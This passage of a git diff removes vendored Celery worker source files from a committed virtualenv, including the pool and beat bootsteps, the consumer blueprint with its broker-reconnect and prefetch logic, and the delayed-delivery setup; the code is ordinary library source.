* pool - * max_concurrency - * min_concurrency - """ - - requires = (Hub,) - - def __init__(self, w, autoscale=None, **kwargs): - w.pool = None - w.max_concurrency = None - w.min_concurrency = w.concurrency - self.optimization = w.optimization - if isinstance(autoscale, str): - max_c, _, min_c = autoscale.partition(',') - autoscale = [int(max_c), min_c and int(min_c) or 0] - w.autoscale = autoscale - if w.autoscale: - w.max_concurrency, w.min_concurrency = w.autoscale - super().__init__(w, **kwargs) - - def close(self, w): - if w.pool: - w.pool.close() - - def terminate(self, w): - if w.pool: - w.pool.terminate() - - def create(self, w): - semaphore = None - max_restarts = None - if w.app.conf.worker_pool in GREEN_POOLS: # pragma: no cover - warnings.warn(UserWarning(W_POOL_SETTING)) - threaded = not w.use_eventloop or IS_WINDOWS - procs = w.min_concurrency - w.process_task = w._process_task - if not threaded: - semaphore = w.semaphore = LaxBoundedSemaphore(procs) - w._quick_acquire = w.semaphore.acquire - w._quick_release = w.semaphore.release - max_restarts = 100 - if w.pool_putlocks and w.pool_cls.uses_semaphore: - w.process_task = w._process_task_sem - allow_restart = w.pool_restarts - pool = w.pool = self.instantiate( - w.pool_cls, w.min_concurrency, - initargs=(w.app, w.hostname), - maxtasksperchild=w.max_tasks_per_child, - max_memory_per_child=w.max_memory_per_child, - timeout=w.time_limit, - soft_timeout=w.soft_time_limit, - putlocks=w.pool_putlocks and threaded, - lost_worker_timeout=w.worker_lost_wait, - threads=threaded, - max_restarts=max_restarts, - allow_restart=allow_restart, - forking_enable=True, - semaphore=semaphore, - sched_strategy=self.optimization, - app=w.app, - ) - _set_task_join_will_block(pool.task_join_will_block) - return pool - - def info(self, w): - return {'pool': w.pool.info if w.pool else 'N/A'} - - def register_with_event_loop(self, w, hub): - w.pool.register_with_event_loop(hub) - - -class Beat(bootsteps.StartStopStep): - """Step used to embed a beat process. - - Enabled when the ``beat`` argument is set. - """ - - label = 'Beat' - conditional = True - - def __init__(self, w, beat=False, **kwargs): - self.enabled = w.beat = beat - w.beat = None - super().__init__(w, beat=beat, **kwargs) - - def create(self, w): - from celery.beat import EmbeddedService - - # Defensive check: pool_cls may be a string (e.g., 'gevent') or a class - pool_module = w.pool_cls if isinstance(w.pool_cls, str) else w.pool_cls.__module__ - if pool_module.endswith(('gevent', 'eventlet')): - raise ImproperlyConfigured(ERR_B_GREEN) - b = w.beat = EmbeddedService(w.app, - schedule_filename=w.schedule_filename, - scheduler_cls=w.scheduler) - return b - - -class StateDB(bootsteps.Step): - """Bootstep that sets up between-restart state database file.""" - - def __init__(self, w, **kwargs): - self.enabled = w.statedb - w._persistence = None - super().__init__(w, **kwargs) - - def create(self, w): - w._persistence = w.state.Persistent(w.state, w.statedb, w.app.clock) - atexit.register(w._persistence.save) - - -class Consumer(bootsteps.StartStopStep): - """Bootstep starting the Consumer blueprint.""" - - last = True - - def create(self, w): - if w.max_concurrency: - prefetch_count = max(w.max_concurrency, 1) * w.prefetch_multiplier - else: - prefetch_count = w.concurrency * w.prefetch_multiplier - c = w.consumer = self.instantiate( - w.consumer_cls, w.process_task, - hostname=w.hostname, - task_events=w.task_events, - init_callback=w.ready_callback, - initial_prefetch_count=prefetch_count, - pool=w.pool, - timer=w.timer, - app=w.app, - controller=w, - hub=w.hub, - worker_options=w.options, - disable_rate_limits=w.disable_rate_limits, - prefetch_multiplier=w.prefetch_multiplier, - ) - return c diff --git a/venv/Lib/site-packages/celery/worker/consumer/__init__.py b/venv/Lib/site-packages/celery/worker/consumer/__init__.py deleted file mode 100644 index 129801f708a472bcbe3ce1dabf30f5044952ab89..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -"""Worker consumer.""" -from .agent import Agent -from .connection import Connection -from .consumer import Consumer -from .control import Control -from .events import Events -from .gossip import Gossip -from .heart import Heart -from .mingle import Mingle -from .tasks import Tasks - -__all__ = ( - 'Consumer', 'Agent', 'Connection', 'Control', - 'Events', 'Gossip', 'Heart', 'Mingle', 'Tasks', -) diff --git a/venv/Lib/site-packages/celery/worker/consumer/agent.py b/venv/Lib/site-packages/celery/worker/consumer/agent.py deleted file mode 100644 index ca6d1209441b47db09827c8f9882953cb14c9a43..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/agent.py +++ /dev/null @@ -1,21 +0,0 @@ -"""Celery + :pypi:`cell` integration.""" -from celery import bootsteps - -from .connection import Connection - -__all__ = ('Agent',) - - -class Agent(bootsteps.StartStopStep): - """Agent starts :pypi:`cell` actors.""" - - conditional = True - requires = (Connection,) - - def __init__(self, c, **kwargs): - self.agent_cls = self.enabled = c.app.conf.worker_agent - super().__init__(c, **kwargs) - - def create(self, c): - agent = c.agent = self.instantiate(self.agent_cls, c.connection) - return agent diff --git a/venv/Lib/site-packages/celery/worker/consumer/connection.py b/venv/Lib/site-packages/celery/worker/consumer/connection.py deleted file mode 100644 index 2992dc8cbc55f173c90dd401997e898e599ebf75..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/connection.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Consumer Broker Connection Bootstep.""" -from kombu.common import ignore_errors - -from celery import bootsteps -from celery.utils.log import get_logger - -__all__ = ('Connection',) - -logger = get_logger(__name__) -info = logger.info - - -class Connection(bootsteps.StartStopStep): - """Service managing the consumer broker connection.""" - - def __init__(self, c, **kwargs): - c.connection = None - super().__init__(c, **kwargs) - - def start(self, c): - c.connection = c.connect() - info('Connected to %s', c.connection.as_uri()) - - def shutdown(self, c): - # We must set self.connection to None here, so - # that the green pidbox thread exits. - connection, c.connection = c.connection, None - if connection: - ignore_errors(connection, connection.close) - - def info(self, c): - params = 'N/A' - if c.connection: - params = c.connection.info() - params.pop('password', None) # don't send password. - return {'broker': params} diff --git a/venv/Lib/site-packages/celery/worker/consumer/consumer.py b/venv/Lib/site-packages/celery/worker/consumer/consumer.py deleted file mode 100644 index 2a5d955fef310f7b6a806ecd835fb0c8123b2c81..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/consumer.py +++ /dev/null @@ -1,791 +0,0 @@ -"""Worker Consumer Blueprint. - -This module contains the components responsible for consuming messages -from the broker, processing the messages and keeping the broker connections -up and running. -""" -import errno -import logging -import os -import warnings -from collections import defaultdict -from time import sleep - -from billiard.common import restart_state -from billiard.exceptions import RestartFreqExceeded -from kombu.asynchronous.semaphore import DummyLock -from kombu.exceptions import ContentDisallowed, DecodeError -from kombu.utils.compat import _detect_environment -from kombu.utils.encoding import safe_repr -from kombu.utils.limits import TokenBucket -from vine import ppartial, promise - -from celery import bootsteps, signals -from celery.app.trace import build_tracer -from celery.exceptions import (CPendingDeprecationWarning, InvalidTaskError, NotRegistered, WorkerShutdown, - WorkerTerminate) -from celery.utils.functional import noop -from celery.utils.log import get_logger -from celery.utils.nodenames import gethostname -from celery.utils.objects import Bunch -from celery.utils.text import truncate -from celery.utils.time import humanize_seconds, rate -from celery.worker import loops -from celery.worker.state import (active_requests, maybe_shutdown, requests, reserved_requests, successful_requests, - task_reserved) - -__all__ = ('Consumer', 'Evloop', 'dump_body') - -CLOSE = bootsteps.CLOSE -TERMINATE = bootsteps.TERMINATE -STOP_CONDITIONS = {CLOSE, TERMINATE} -logger = get_logger(__name__) -debug, info, warn, error, crit = (logger.debug, logger.info, logger.warning, - logger.error, logger.critical) - -CONNECTION_RETRY = """\ -consumer: Connection to broker lost. \ -Trying to re-establish the connection...\ -""" - -CONNECTION_RETRY_STEP = """\ -Trying again {when}... ({retries}/{max_retries})\ -""" - -CONNECTION_ERROR = """\ -consumer: Cannot connect to %s: %s. -%s -""" - -CONNECTION_FAILOVER = """\ -Will retry using next failover.\ -""" - -UNKNOWN_FORMAT = """\ -Received and deleted unknown message. Wrong destination?!? - -The full contents of the message body was: %s -""" - -#: Error message for when an unregistered task is received. -UNKNOWN_TASK_ERROR = """\ -Received unregistered task of type %s. -The message has been ignored and discarded. - -Did you remember to import the module containing this task? -Or maybe you're using relative imports? - -Please see -https://docs.celeryq.dev/en/latest/internals/protocol.html -for more information. - -The full contents of the message body was: -%s - -The full contents of the message headers: -%s - -The delivery info for this task is: -%s -""" - -#: Error message for when an invalid task message is received. -INVALID_TASK_ERROR = """\ -Received invalid task message: %s -The message has been ignored and discarded. - -Please ensure your message conforms to the task -message protocol as described here: -https://docs.celeryq.dev/en/latest/internals/protocol.html - -The full contents of the message body was: -%s -""" - -MESSAGE_DECODE_ERROR = """\ -Can't decode message body: %r [type:%r encoding:%r headers:%s] - -body: %s -""" - -MESSAGE_REPORT = """\ -body: {0} -{{content_type:{1} content_encoding:{2} - delivery_info:{3} headers={4}}} -""" - -TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS = """\ -Task %s cannot be acknowledged after a connection loss since late acknowledgement is enabled for it. -Terminating it instead. -""" - -CANCEL_TASKS_BY_DEFAULT = """ -In Celery 5.1 we introduced an optional breaking change which -on connection loss cancels all currently executed tasks with late acknowledgement enabled. -These tasks cannot be acknowledged as the connection is gone, and the tasks are automatically redelivered -back to the queue. You can enable this behavior using the worker_cancel_long_running_tasks_on_connection_loss -setting. In Celery 5.1 it is set to False by default. The setting will be set to True by default in Celery 6.0. -""" - - -def dump_body(m, body): - """Format message body for debugging purposes.""" - # v2 protocol does not deserialize body - body = m.body if body is None else body - return '{} ({}b)'.format(truncate(safe_repr(body), 1024), - len(m.body)) - - -class Consumer: - """Consumer blueprint.""" - - Strategies = dict - - #: Optional callback called the first time the worker - #: is ready to receive tasks. - init_callback = None - - #: The current worker pool instance. - pool = None - - #: A timer used for high-priority internal tasks, such - #: as sending heartbeats. - timer = None - - restart_count = -1 # first start is the same as a restart - - #: This flag will be turned off after the first failed - #: connection attempt. - first_connection_attempt = True - - #: Counter to track number of conn retry attempts - #: to broker. Will be reset to 0 once successful - broker_connection_retry_attempt = 0 - - class Blueprint(bootsteps.Blueprint): - """Consumer blueprint.""" - - name = 'Consumer' - default_steps = [ - 'celery.worker.consumer.connection:Connection', - 'celery.worker.consumer.mingle:Mingle', - 'celery.worker.consumer.events:Events', - 'celery.worker.consumer.gossip:Gossip', - 'celery.worker.consumer.heart:Heart', - 'celery.worker.consumer.control:Control', - 'celery.worker.consumer.tasks:Tasks', - 'celery.worker.consumer.delayed_delivery:DelayedDelivery', - 'celery.worker.consumer.consumer:Evloop', - 'celery.worker.consumer.agent:Agent', - ] - - def shutdown(self, parent): - self.send_all(parent, 'shutdown') - - def __init__(self, on_task_request, - init_callback=noop, hostname=None, - pool=None, app=None, - timer=None, controller=None, hub=None, amqheartbeat=None, - worker_options=None, disable_rate_limits=False, - initial_prefetch_count=2, prefetch_multiplier=1, **kwargs): - self.app = app - self.controller = controller - self.init_callback = init_callback - self.hostname = hostname or gethostname() - self.pid = os.getpid() - self.pool = pool - self.timer = timer - self.strategies = self.Strategies() - self.conninfo = self.app.connection_for_read() - self.connection_errors = self.conninfo.connection_errors - self.channel_errors = self.conninfo.channel_errors - self._restart_state = restart_state(maxR=5, maxT=1) - - self._does_info = logger.isEnabledFor(logging.INFO) - self._limit_order = 0 - self.on_task_request = on_task_request - self.on_task_message = set() - self.amqheartbeat_rate = self.app.conf.broker_heartbeat_checkrate - self.disable_rate_limits = disable_rate_limits - self.initial_prefetch_count = initial_prefetch_count - self.prefetch_multiplier = prefetch_multiplier - self._maximum_prefetch_restored = True - - # this contains a tokenbucket for each task type by name, used for - # rate limits, or None if rate limits are disabled for that task. - self.task_buckets = defaultdict(lambda: None) - self.reset_rate_limits() - - self.hub = hub - if self.hub or getattr(self.pool, 'is_green', False): - self.amqheartbeat = amqheartbeat - if self.amqheartbeat is None: - self.amqheartbeat = self.app.conf.broker_heartbeat - else: - self.amqheartbeat = 0 - - if not hasattr(self, 'loop'): - self.loop = loops.asynloop if hub else loops.synloop - - if _detect_environment() == 'gevent': - # there's a gevent bug that causes timeouts to not be reset, - # so if the connection timeout is exceeded once, it can NEVER - # connect again. - self.app.conf.broker_connection_timeout = None - - self._pending_operations = [] - - self.steps = [] - self.blueprint = self.Blueprint( - steps=self.app.steps['consumer'], - on_close=self.on_close, - ) - self.blueprint.apply(self, **dict(worker_options or {}, **kwargs)) - - def call_soon(self, p, *args, **kwargs): - p = ppartial(p, *args, **kwargs) - if self.hub: - return self.hub.call_soon(p) - self._pending_operations.append(p) - return p - - def perform_pending_operations(self): - if not self.hub: - while self._pending_operations: - try: - self._pending_operations.pop()() - except Exception as exc: # pylint: disable=broad-except - logger.exception('Pending callback raised: %r', exc) - - def bucket_for_task(self, type): - limit = rate(getattr(type, 'rate_limit', None)) - return TokenBucket(limit, capacity=1) if limit else None - - def reset_rate_limits(self): - self.task_buckets.update( - (n, self.bucket_for_task(t)) for n, t in self.app.tasks.items() - ) - - def _update_prefetch_count(self, index=0): - """Update prefetch count after pool/shrink grow operations. - - Index must be the change in number of processes as a positive - (increasing) or negative (decreasing) number. - - Note: - Currently pool grow operations will end up with an offset - of +1 if the initial size of the pool was 0 (e.g. - :option:`--autoscale=1,0 `). - """ - num_processes = self.pool.num_processes - if not self.initial_prefetch_count or not num_processes: - return # prefetch disabled - self.initial_prefetch_count = ( - self.pool.num_processes * self.prefetch_multiplier - ) - return self._update_qos_eventually(index) - - def _update_qos_eventually(self, index): - return (self.qos.decrement_eventually if index < 0 - else self.qos.increment_eventually)( - abs(index) * self.prefetch_multiplier) - - def _limit_move_to_pool(self, request): - task_reserved(request) - self.on_task_request(request) - - def _schedule_bucket_request(self, bucket): - while True: - try: - request, tokens = bucket.pop() - except IndexError: - # no request, break - break - - if bucket.can_consume(tokens): - self._limit_move_to_pool(request) - continue - else: - # requeue to head, keep the order. - bucket.contents.appendleft((request, tokens)) - - pri = self._limit_order = (self._limit_order + 1) % 10 - hold = bucket.expected_time(tokens) - self.timer.call_after( - hold, self._schedule_bucket_request, (bucket,), - priority=pri, - ) - # no tokens, break - break - - def _limit_task(self, request, bucket, tokens): - bucket.add((request, tokens)) - return self._schedule_bucket_request(bucket) - - def _limit_post_eta(self, request, bucket, tokens): - self.qos.decrement_eventually() - bucket.add((request, tokens)) - return self._schedule_bucket_request(bucket) - - def start(self): - blueprint = self.blueprint - while blueprint.state not in STOP_CONDITIONS: - maybe_shutdown() - if self.restart_count: - try: - self._restart_state.step() - except RestartFreqExceeded as exc: - crit('Frequent restarts detected: %r', exc, exc_info=1) - sleep(1) - self.restart_count += 1 - if self.app.conf.broker_channel_error_retry: - recoverable_errors = (self.connection_errors + self.channel_errors) - else: - recoverable_errors = self.connection_errors - try: - blueprint.start(self) - except recoverable_errors as exc: - # If we're not retrying connections, we need to properly shutdown or terminate - # the Celery main process instead of abruptly aborting the process without any cleanup. - is_connection_loss_on_startup = self.first_connection_attempt - self.first_connection_attempt = False - connection_retry_type = self._get_connection_retry_type(is_connection_loss_on_startup) - connection_retry = self.app.conf[connection_retry_type] - if not connection_retry: - crit( - f"Retrying to {'establish' if is_connection_loss_on_startup else 're-establish'} " - f"a connection to the message broker after a connection loss has " - f"been disabled (app.conf.{connection_retry_type}=False). Shutting down..." - ) - raise WorkerShutdown(1) from exc - if isinstance(exc, OSError) and exc.errno == errno.EMFILE: - crit("Too many open files. Aborting...") - raise WorkerTerminate(1) from exc - maybe_shutdown() - if blueprint.state not in STOP_CONDITIONS: - if self.connection: - self.on_connection_error_after_connected(exc) - else: - self.on_connection_error_before_connected(exc) - self.on_close() - blueprint.restart(self) - - def _get_connection_retry_type(self, is_connection_loss_on_startup): - return ('broker_connection_retry_on_startup' - if (is_connection_loss_on_startup - and self.app.conf.broker_connection_retry_on_startup is not None) - else 'broker_connection_retry') - - def on_connection_error_before_connected(self, exc): - error(CONNECTION_ERROR, self.conninfo.as_uri(), exc, - 'Trying to reconnect...') - - def on_connection_error_after_connected(self, exc): - warn(CONNECTION_RETRY, exc_info=True) - try: - self.connection.collect() - except Exception: # pylint: disable=broad-except - pass - - if self.app.conf.worker_cancel_long_running_tasks_on_connection_loss: - for request in tuple(active_requests): - if request.task.acks_late and not request.acknowledged: - warn(TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS, - request) - request.cancel(self.pool) - else: - warnings.warn(CANCEL_TASKS_BY_DEFAULT, CPendingDeprecationWarning) - - if self.app.conf.worker_enable_prefetch_count_reduction: - self.initial_prefetch_count = max( - self.prefetch_multiplier, - self.max_prefetch_count - len(tuple(active_requests)) * self.prefetch_multiplier - ) - - self._maximum_prefetch_restored = self.initial_prefetch_count == self.max_prefetch_count - if not self._maximum_prefetch_restored: - logger.info( - f"Temporarily reducing the prefetch count to {self.initial_prefetch_count} to avoid " - f"over-fetching since {len(tuple(active_requests))} tasks are currently being processed.\n" - f"The prefetch count will be gradually restored to {self.max_prefetch_count} as the tasks " - "complete processing." - ) - - def register_with_event_loop(self, hub): - self.blueprint.send_all( - self, 'register_with_event_loop', args=(hub,), - description='Hub.register', - ) - - def shutdown(self): - self.perform_pending_operations() - self.blueprint.shutdown(self) - - def stop(self): - self.blueprint.stop(self) - - def on_ready(self): - callback, self.init_callback = self.init_callback, None - if callback: - callback(self) - - def loop_args(self): - return (self, self.connection, self.task_consumer, - self.blueprint, self.hub, self.qos, self.amqheartbeat, - self.app.clock, self.amqheartbeat_rate) - - def on_decode_error(self, message, exc): - """Callback called if an error occurs while decoding a message. - - Simply logs the error and acknowledges the message so it - doesn't enter a loop. - - Arguments: - message (kombu.Message): The message received. - exc (Exception): The exception being handled. - """ - crit(MESSAGE_DECODE_ERROR, - exc, message.content_type, message.content_encoding, - safe_repr(message.headers), dump_body(message, message.body), - exc_info=1) - message.ack() - - def on_close(self): - # Clear internal queues to get rid of old messages. - # They can't be acked anyway, as a delivery tag is specific - # to the current channel. - if self.controller and self.controller.semaphore: - self.controller.semaphore.clear() - for bucket in self.task_buckets.values(): - if bucket: - bucket.clear_pending() - for request_id in reserved_requests: - if request_id in requests: - del requests[request_id] - reserved_requests.clear() - if self.pool and self.pool.flush: - self.pool.flush() - - def connect(self): - """Establish the broker connection used for consuming tasks. - - Retries establishing the connection if the - :setting:`broker_connection_retry` setting is enabled - """ - conn = self.connection_for_read(heartbeat=self.amqheartbeat) - if self.hub: - conn.transport.register_with_event_loop(conn.connection, self.hub) - return conn - - def connection_for_read(self, heartbeat=None): - return self.ensure_connected( - self.app.connection_for_read(heartbeat=heartbeat)) - - def connection_for_write(self, url=None, heartbeat=None): - return self.ensure_connected( - self.app.connection_for_write(url=url, heartbeat=heartbeat)) - - def ensure_connected(self, conn): - # Callback called for each retry while the connection - # can't be established. - def _error_handler(exc, interval, next_step=CONNECTION_RETRY_STEP): - if getattr(conn, 'alt', None) and interval == 0: - next_step = CONNECTION_FAILOVER - elif interval > 0: - self.broker_connection_retry_attempt += 1 - next_step = next_step.format( - when=humanize_seconds(interval, 'in', ' '), - retries=self.broker_connection_retry_attempt, - max_retries=self.app.conf.broker_connection_max_retries) - error(CONNECTION_ERROR, conn.as_uri(), exc, next_step) - - # Remember that the connection is lazy, it won't establish - # until needed. - - # TODO: Rely only on broker_connection_retry_on_startup to determine whether connection retries are disabled. - # We will make the switch in Celery 6.0. - - retry_disabled = False - - if self.app.conf.broker_connection_retry_on_startup is None: - # If broker_connection_retry_on_startup is not set, revert to broker_connection_retry - # to determine whether connection retries are disabled. - retry_disabled = not self.app.conf.broker_connection_retry - - if retry_disabled: - warnings.warn( - CPendingDeprecationWarning( - "The broker_connection_retry configuration setting will no longer determine\n" - "whether broker connection retries are made during startup in Celery 6.0 and above.\n" - "If you wish to refrain from retrying connections on startup,\n" - "you should set broker_connection_retry_on_startup to False instead.") - ) - else: - if self.first_connection_attempt: - retry_disabled = not self.app.conf.broker_connection_retry_on_startup - else: - retry_disabled = not self.app.conf.broker_connection_retry - - if retry_disabled: - # Retry disabled, just call connect directly. - conn.connect() - self.first_connection_attempt = False - return conn - - conn = conn.ensure_connection( - _error_handler, self.app.conf.broker_connection_max_retries, - callback=maybe_shutdown, - ) - self.first_connection_attempt = False - self.broker_connection_retry_attempt = 0 - return conn - - def _flush_events(self): - if self.event_dispatcher: - self.event_dispatcher.flush() - - def on_send_event_buffered(self): - if self.hub: - self.hub._ready.add(self._flush_events) - - def add_task_queue(self, queue, exchange=None, exchange_type=None, - routing_key=None, **options): - cset = self.task_consumer - queues = self.app.amqp.queues - # Must use in' here, as __missing__ will automatically - # create queues when :setting:`task_create_missing_queues` is enabled. - # (Issue #1079) - if queue in queues: - q = queues[queue] - else: - exchange = queue if exchange is None else exchange - exchange_type = ('direct' if exchange_type is None - else exchange_type) - q = queues.select_add(queue, - exchange=exchange, - exchange_type=exchange_type, - routing_key=routing_key, **options) - if not cset.consuming_from(queue): - cset.add_queue(q) - cset.consume() - info('Started consuming from %s', queue) - - def cancel_task_queue(self, queue): - info('Canceling queue %s', queue) - self.app.amqp.queues.deselect(queue) - self.task_consumer.cancel_by_queue(queue) - - def apply_eta_task(self, task): - """Method called by the timer to apply a task with an ETA/countdown.""" - task_reserved(task) - self.on_task_request(task) - self.qos.decrement_eventually() - - def _message_report(self, body, message): - return MESSAGE_REPORT.format(dump_body(message, body), - safe_repr(message.content_type), - safe_repr(message.content_encoding), - safe_repr(message.delivery_info), - safe_repr(message.headers)) - - def on_unknown_message(self, body, message): - warn(UNKNOWN_FORMAT, self._message_report(body, message)) - message.reject_log_error(logger, self.connection_errors) - signals.task_rejected.send(sender=self, message=message, exc=None) - - def on_unknown_task(self, body, message, exc): - error(UNKNOWN_TASK_ERROR, - exc, - dump_body(message, body), - message.headers, - message.delivery_info, - exc_info=True) - try: - id_, name = message.headers['id'], message.headers['task'] - root_id = message.headers.get('root_id') - except KeyError: # proto1 - payload = message.payload - id_, name = payload['id'], payload['task'] - root_id = None - request = Bunch( - name=name, chord=None, root_id=root_id, - correlation_id=message.properties.get('correlation_id'), - reply_to=message.properties.get('reply_to'), - errbacks=None, - ) - message.reject_log_error(logger, self.connection_errors) - self.app.backend.mark_as_failure( - id_, NotRegistered(name), request=request, - ) - if self.event_dispatcher: - self.event_dispatcher.send( - 'task-failed', uuid=id_, - exception=f'NotRegistered({name!r})', - ) - signals.task_unknown.send( - sender=self, message=message, exc=exc, name=name, id=id_, - ) - - def on_invalid_task(self, body, message, exc): - error(INVALID_TASK_ERROR, exc, dump_body(message, body), - exc_info=True) - message.reject_log_error(logger, self.connection_errors) - signals.task_rejected.send(sender=self, message=message, exc=exc) - - def update_strategies(self): - loader = self.app.loader - for name, task in self.app.tasks.items(): - self.strategies[name] = task.start_strategy(self.app, self) - task.__trace__ = build_tracer(name, task, loader, self.hostname, - app=self.app) - - def create_task_handler(self, promise=promise): - strategies = self.strategies - on_unknown_message = self.on_unknown_message - on_unknown_task = self.on_unknown_task - on_invalid_task = self.on_invalid_task - callbacks = self.on_task_message - call_soon = self.call_soon - - def on_task_received(message): - # payload will only be set for v1 protocol, since v2 - # will defer deserializing the message body to the pool. - payload = None - try: - type_ = message.headers['task'] # protocol v2 - except TypeError: - return on_unknown_message(None, message) - except KeyError: - try: - payload = message.decode() - except Exception as exc: # pylint: disable=broad-except - return self.on_decode_error(message, exc) - try: - type_, payload = payload['task'], payload # protocol v1 - except (TypeError, KeyError): - return on_unknown_message(payload, message) - try: - strategy = strategies[type_] - except KeyError as exc: - return on_unknown_task(None, message, exc) - else: - try: - ack_log_error_promise = promise( - call_soon, - (message.ack_log_error,), - on_error=self._restore_prefetch_count_after_connection_restart, - ) - reject_log_error_promise = promise( - call_soon, - (message.reject_log_error,), - on_error=self._restore_prefetch_count_after_connection_restart, - ) - - if ( - not self._maximum_prefetch_restored - and self.restart_count > 0 - and self._new_prefetch_count <= self.max_prefetch_count - ): - ack_log_error_promise.then(self._restore_prefetch_count_after_connection_restart, - on_error=self._restore_prefetch_count_after_connection_restart) - reject_log_error_promise.then(self._restore_prefetch_count_after_connection_restart, - on_error=self._restore_prefetch_count_after_connection_restart) - - strategy( - message, payload, - ack_log_error_promise, - reject_log_error_promise, - callbacks, - ) - except (InvalidTaskError, ContentDisallowed) as exc: - return on_invalid_task(payload, message, exc) - except DecodeError as exc: - return self.on_decode_error(message, exc) - - return on_task_received - - def _restore_prefetch_count_after_connection_restart(self, p, *args): - with self.qos._mutex: - if any(( - not self.app.conf.worker_enable_prefetch_count_reduction, - self._maximum_prefetch_restored, - )): - return - - new_prefetch_count = min(self.max_prefetch_count, self._new_prefetch_count) - self.qos.value = self.initial_prefetch_count = new_prefetch_count - self.qos.set(self.qos.value) - - already_restored = self._maximum_prefetch_restored - self._maximum_prefetch_restored = new_prefetch_count == self.max_prefetch_count - - if already_restored is False and self._maximum_prefetch_restored is True: - logger.info( - "Resuming normal operations following a restart.\n" - f"Prefetch count has been restored to the maximum of {self.max_prefetch_count}" - ) - - @property - def max_prefetch_count(self): - return self.pool.num_processes * self.prefetch_multiplier - - @property - def _new_prefetch_count(self): - return self.qos.value + self.prefetch_multiplier - - def __repr__(self): - """``repr(self)``.""" - return ''.format( - self=self, state=self.blueprint.human_state(), - ) - - def cancel_active_requests(self): - """Cancel active requests during shutdown. - - Cancels all active requests that either do not require late acknowledgments or, - if they do, have not been acknowledged yet. - - Does not cancel successful tasks, even if they have not been acknowledged yet. - """ - - def should_cancel(request): - if not request.task.acks_late: - # Task does not require late acknowledgment, cancel it. - return True - - if not request.acknowledged: - # Task is late acknowledged, but it has not been acknowledged yet, cancel it. - if request.id in successful_requests: - # Unless it was successful, in which case we don't want to cancel it. - return False - return True - - # Task is late acknowledged, but it has already been acknowledged. - return False # Do not cancel and allow it to gracefully finish as it has already been acknowledged. - - requests_to_cancel = tuple(filter(should_cancel, active_requests)) - - if requests_to_cancel: - for request in requests_to_cancel: - # For acks_late tasks, don't emit RETRY signal since broker will handle redelivery - # For non-acks_late tasks, emit RETRY signal as usual - emit_retry = not request.task.acks_late - request.cancel(self.pool, emit_retry=emit_retry) - - -class Evloop(bootsteps.StartStopStep): - """Event loop service. - - Note: - This is always started last. - """ - - label = 'event loop' - last = True - - def start(self, c): - self.patch_all(c) - c.loop(*c.loop_args()) - - def patch_all(self, c): - c.qos._mutex = DummyLock() diff --git a/venv/Lib/site-packages/celery/worker/consumer/control.py b/venv/Lib/site-packages/celery/worker/consumer/control.py deleted file mode 100644 index b0ca3ef8d3f7596b2789bf3660a5ceac39bd6480..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/control.py +++ /dev/null @@ -1,33 +0,0 @@ -"""Worker Remote Control Bootstep. - -``Control`` -> :mod:`celery.worker.pidbox` -> :mod:`kombu.pidbox`. - -The actual commands are implemented in :mod:`celery.worker.control`. -""" -from celery import bootsteps -from celery.utils.log import get_logger -from celery.worker import pidbox - -from .tasks import Tasks - -__all__ = ('Control',) - -logger = get_logger(__name__) - - -class Control(bootsteps.StartStopStep): - """Remote control command service.""" - - requires = (Tasks,) - - def __init__(self, c, **kwargs): - self.is_green = c.pool is not None and c.pool.is_green - self.box = (pidbox.gPidbox if self.is_green else pidbox.Pidbox)(c) - self.start = self.box.start - self.stop = self.box.stop - self.shutdown = self.box.shutdown - super().__init__(c, **kwargs) - - def include_if(self, c): - return (c.app.conf.worker_enable_remote_control and - c.conninfo.supports_exchange_type('fanout')) diff --git a/venv/Lib/site-packages/celery/worker/consumer/delayed_delivery.py b/venv/Lib/site-packages/celery/worker/consumer/delayed_delivery.py deleted file mode 100644 index 9909be3cf27bf3c4137afcd2d6c1ec4978beb48e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/delayed_delivery.py +++ /dev/null @@ -1,276 +0,0 @@ -"""Native delayed delivery functionality for Celery workers. - -This module provides the DelayedDelivery bootstep which handles setup and configuration -of native delayed delivery functionality when using quorum queues. -""" -import sys -from typing import Iterator, List, Optional, Set, Union, ValuesView - -if sys.version_info < (3, 11): # pragma: no cover - # Backport of PEP 654 for Python versions < 3.11 - from exceptiongroup import ExceptionGroup - -from kombu import Connection, Queue -from kombu.transport.native_delayed_delivery import (bind_queue_to_native_delayed_delivery_exchange, - declare_native_delayed_delivery_exchanges_and_queues) -from kombu.utils.functional import retry_over_time -from kombu.utils.url import maybe_sanitize_url - -from celery import Celery, bootsteps -from celery.utils.log import get_logger -from celery.utils.quorum_queues import detect_quorum_queues -from celery.worker.consumer import Consumer, Tasks - -__all__ = ('DelayedDelivery',) - -logger = get_logger(__name__) - - -# Default retry settings -RETRY_INTERVAL = 1.0 # seconds between retries -MAX_RETRIES = 3 # maximum number of retries -RETRIED_EXCEPTIONS = (ConnectionRefusedError, OSError) - -# Valid queue types for delayed delivery -VALID_QUEUE_TYPES = {'classic', 'quorum'} - - -class DelayedDelivery(bootsteps.StartStopStep): - """Bootstep that sets up native delayed delivery functionality. - - This component handles the setup and configuration of native delayed delivery - for Celery workers. It is automatically included when quorum queues are - detected in the application configuration. - - Responsibilities: - - Declaring native delayed delivery exchanges and queues - - Binding all application queues to the delayed delivery exchanges - - Handling connection failures gracefully with retries - - Validating configuration settings - """ - - requires = (Tasks,) - - def include_if(self, c: Consumer) -> bool: - """Determine if this bootstep should be included. - - Args: - c: The Celery consumer instance - - Returns: - bool: True if quorum queues are detected, False otherwise - """ - return detect_quorum_queues(c.app, c.app.connection_for_write().transport.driver_type)[0] - - def start(self, c: Consumer) -> None: - """Initialize delayed delivery for all broker URLs. - - Attempts to set up delayed delivery for each broker URL in the configuration. - Failures are logged but don't prevent attempting remaining URLs. - - Args: - c: The Celery consumer instance - - Raises: - ValueError: If configuration validation fails - """ - app: Celery = c.app - - try: - self._validate_configuration(app) - except ValueError as e: - logger.critical("Configuration validation failed: %s", str(e)) - raise - - broker_urls = self._validate_broker_urls(app.conf.broker_url) - 